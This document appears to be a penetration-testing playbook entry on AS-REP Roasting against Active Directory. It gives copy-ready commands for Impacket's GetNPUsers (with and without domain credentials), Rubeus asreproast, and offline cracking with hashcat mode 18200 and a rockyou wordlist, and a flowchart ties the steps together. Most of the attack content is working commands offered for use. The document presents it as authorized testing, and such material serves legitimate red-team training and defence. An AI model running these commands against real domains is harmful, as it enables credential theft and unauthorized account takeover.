ad-asreproast-attack

AS-REP Roasting Attack

When to Use

• During the early phases of an Active Directory penetration test when attempting to gain initial domain user access, or seeking to escalate privileges by cracking passwords of service or admin accounts.
• This attack does not require a valid domain user account to perform, only network access to the Domain Controller and a list of valid usernames. (Alternatively, if you have a domain account, you can automatically query LDAP for vulnerable users).

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying Vulnerable Accounts (With Domain Access)

If you already have a low-privileged domain account, you can query LDAP to find accounts with DONT_REQ_PREAUTH enabled.

# Concept: Use Impacket to query AD and request TGTs for vulnerable accounts impacket-GetNPUsers target.local/low_priv_user:Password123! -request -format hashcat -outputfile asrep_hashes.txt

Phase 2: Targeted Extraction (Without Domain Access)

If you have a list of usernames but no domain credentials, you can attempt to roast them blindly against the Domain Controller.

# impacket-GetNPUsers target.local/ -usersfile users.txt -format hashcat -dc-ip 192.168.1.10 -outputfile asrep_hashes.txt

Phase 3: Extracting Hashes from a Windows Host (Rubeus)

# Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

Phase 4: Offline Password Cracking

Extract the hashes from asrep_hashes.txt and run them through Hashcat. Hashcat mode for AS-REP Roast is 18200 (Kerberos 5, etype 23, AS-REP).

# hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt --force

Decision Point 🔀

flowchart TD
    A[Identify AD Target ] --> B{Have Valid AD Credentials? ]}
    B -->|Yes| C[LDAP Query DONT_REQ_PREAUTH ]
    B -->|No| D[Brute Force Users List ]
    C --> E[Extract & Crack Hash ]
    D --> E